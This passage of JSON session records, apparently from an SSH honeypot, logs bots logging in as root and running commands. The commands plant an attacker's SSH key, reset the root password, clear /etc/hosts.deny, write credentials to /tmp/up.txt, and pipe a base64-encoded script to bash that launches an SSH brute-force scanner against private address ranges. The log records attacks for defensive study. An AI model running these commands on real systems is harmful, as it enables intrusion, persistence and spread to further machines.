/proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T06:13:34.204300+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T06:13:34.936616+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T06:13:35.651936+00:00","kind":"output","latency_ms":null,"data":"top - 06:13:35 up 3 days, 3:03, 0 user, load average: 0.31, 0.26, 0.26\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T06:13:36.384091+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T06:13:37.192108+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T06:13:37.929796+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T06:13:38.230912+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T06:13:38.964908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T06:13:39.731994+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T06:13:40.465574+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T06:13:41.720389+00:00","kind":"output","latency_ms":529,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T06:13:42.455040+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T06:13:43.437148+00:00","kind":"output","latency_ms":454,"data":"24.02G"}],"credentials":[{"username":"root","password":"123asdZXC","method":"password","accepted":true,"tier":"other"}]} {"id":"fdb161e3-53ae-4578-8cf7-3a05774ddcbe","name":"hushed-dappled-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"136.232.11.10","src_port":21548,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":719,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T06:08:49.251605+00:00","ended_at":"2026-08-23T06:08:50.151808+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2678,"events":[{"seq":1,"at":"2026-08-23T06:08:23.642493+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T06:08:24.360203+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T06:08:36.306581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T06:08:36.307051+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T06:08:37.026669+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4EJWOFcjNfU7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T06:08:37.633257+00:00","kind":"output","latency_ms":606,"data":""},{"seq":7,"at":"2026-08-23T06:08:37.742947+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-23T06:08:38.460468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T06:08:38.461331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T06:08:39.180492+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T06:08:39.732827+00:00","kind":"output","latency_ms":552,"data":"15888 614 11044 168 4229 5480"},{"seq":12,"at":"2026-08-23T06:08:40.451494+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T06:08:41.146347+00:00","kind":"output","latency_ms":695,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T06:08:41.865201+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T06:08:41.865700+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-23T06:08:42.583962+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T06:08:42.584508+00:00","kind":"output","latency_ms":null,"data":" 06:08:42 up 3 days, 2:58, 0 user, load average: 0.34, 0.36, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T06:08:43.302842+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T06:08:43.303259+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T06:08:44.023025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T06:08:44.023707+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T06:08:44.741397+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T06:08:44.741993+00:00","kind":"output","latency_ms":null,"data":"top - 06:08:44 up 3 days, 2:58, 0 user, load average: 0.34, 0.36, 0.26\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T06:08:45.460708+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T06:08:45.461144+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T06:08:46.178875+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T06:08:46.179541+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T06:08:46.898760+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T06:08:46.899138+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T06:08:47.616517+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T06:08:48.532622+00:00","kind":"output","latency_ms":915,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T06:08:49.252125+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T06:08:49.925701+00:00","kind":"output","latency_ms":673,"data":"24G"}],"credentials":[{"username":"root","password":"12345-Qwert","method":"password","accepted":true,"tier":"other"}]} {"id":"d0bc5787-46a5-4e4a-8fcb-9ae66d4739cf","name":"earnest-rambling-ocelot","protocol":"ssh","channel_kind":"exec","src_ip":"20.102.98.53","src_port":49848,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":65,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T04:52:11.093291+00:00","ended_at":"2026-08-23T04:52:11.099503+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3537,"events":[{"seq":1,"at":"2026-08-23T04:51:53.281595+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T04:51:53.344546+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T04:51:55.928605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T04:51:55.929046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T04:51:55.994070+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Y8vWS58OUafM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T04:51:56.057108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T04:51:56.120827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T04:51:56.121475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T04:51:56.187062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T04:51:56.885489+00:00","kind":"output","latency_ms":696,"data":"15988 512 11234 311 4341 1024"},{"seq":11,"at":"2026-08-23T04:51:56.949140+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T04:51:57.838490+00:00","kind":"output","latency_ms":888,"data":"-rwxr-xr-x 1 root root 148K Aug 23 04:51 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T04:51:57.903659+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T04:51:57.904342+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T04:51:57.968722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T04:51:57.969573+00:00","kind":"output","latency_ms":null,"data":" 04:51:57 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T04:51:58.033606+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T04:51:58.034250+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T04:51:58.098176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T04:51:58.098880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T04:51:58.163735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T04:51:58.164361+00:00","kind":"output","latency_ms":null,"data":"top - 04:51:58 up 3 days, 1:42, 0 user, load average: 0.16, 0.15, 0.1\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T04:51:58.229760+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T04:51:58.231306+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T04:51:58.296706+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T04:51:58.297358+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T04:51:58.357631+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T04:51:58.358493+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-23T04:51:58.422190+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T04:51:58.928454+00:00","kind":"output","latency_ms":505,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T04:51:58.993221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T04:51:59.417214+00:00","kind":"output","latency_ms":422,"data":"24G"},{"seq":33,"at":"2026-08-23T04:51:59.858887+00:00","kind":"input","latency_ms":null,"data":"echo \"root prueba123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T04:51:59.922546+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T04:52:00.088877+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T04:52:00.518504+00:00","kind":"output","latency_ms":594,"data":""},{"seq":37,"at":"2026-08-23T04:52:00.898770+00:00","kind":"output","latency_ms":809,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T04:52:00.964569+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T04:52:01.413605+00:00","kind":"output","latency_ms":448,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T04:52:01.480945+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T04:52:01.544845+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T04:52:02.263854+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T04:52:02.328691+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T04:52:02.814112+00:00","kind":"output","latency_ms":484,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T04:52:02.879298+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T04:52:03.291614+00:00","kind":"output","latency_ms":411,"data":""},{"seq":47,"at":"2026-08-23T04:52:11.094619+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T04:52:11.095058+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"prueba123","method":"password","accepted":true,"tier":"other"}]} {"id":"0844521b-6fe2-405e-8725-531adb115801","name":"thawing-jagged-condor","protocol":"ssh","channel_kind":"exec","src_ip":"213.91.234.180","src_port":54362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":357,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T01:09:13.082039+00:00","ended_at":"2026-08-23T01:09:13.187119+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3866,"events":[{"seq":1,"at":"2026-08-23T01:08:45.040752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T01:08:45.395998+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T01:08:49.371712+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T01:08:49.372337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T01:08:49.727529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fWejyfoKTWdR\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T01:08:50.082837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T01:08:50.384886+00:00","kind":"output","latency_ms":657,"data":""},{"seq":8,"at":"2026-08-23T01:08:50.439620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T01:08:50.440285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T01:08:50.796760+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T01:08:51.243488+00:00","kind":"output","latency_ms":445,"data":"15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-23T01:08:51.601041+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T01:08:52.315942+00:00","kind":"output","latency_ms":714,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T01:08:52.673207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T01:08:52.673893+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T01:08:53.032535+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T01:08:53.033062+00:00","kind":"output","latency_ms":null,"data":" 01:08:53 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T01:08:53.391440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T01:08:53.391952+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T01:08:53.748137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T01:08:53.749103+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T01:08:54.107342+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T01:08:54.107889+00:00","kind":"output","latency_ms":null,"data":"top - 01:08:54 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T01:08:54.464444+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T01:08:54.464769+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T01:08:54.821653+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T01:08:54.822249+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T01:08:55.179290+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T01:08:55.179743+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T01:08:55.535963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T01:08:56.645160+00:00","kind":"output","latency_ms":1107,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T01:08:57.001475+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T01:08:57.614874+00:00","kind":"output","latency_ms":612,"data":"25G"},{"seq":34,"at":"2026-08-23T01:08:58.885618+00:00","kind":"input","latency_ms":null,"data":"echo \"root minecraft1\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T01:08:59.240235+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T01:08:59.694575+00:00","kind":"output","latency_ms":453,"data":""},{"seq":37,"at":"2026-08-23T01:09:00.477651+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T01:09:01.279225+00:00","kind":"output","latency_ms":801,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":39,"at":"2026-08-23T01:09:01.636850+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T01:09:02.309144+00:00","kind":"output","latency_ms":671,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":41,"at":"2026-08-23T01:09:02.667506+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T01:09:03.022748+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T01:09:03.641883+00:00","kind":"output","latency_ms":617,"data":"1"},{"seq":44,"at":"2026-08-23T01:09:03.999199+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T01:09:04.408766+00:00","kind":"output","latency_ms":409,"data":"1"},{"seq":46,"at":"2026-08-23T01:09:04.766390+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 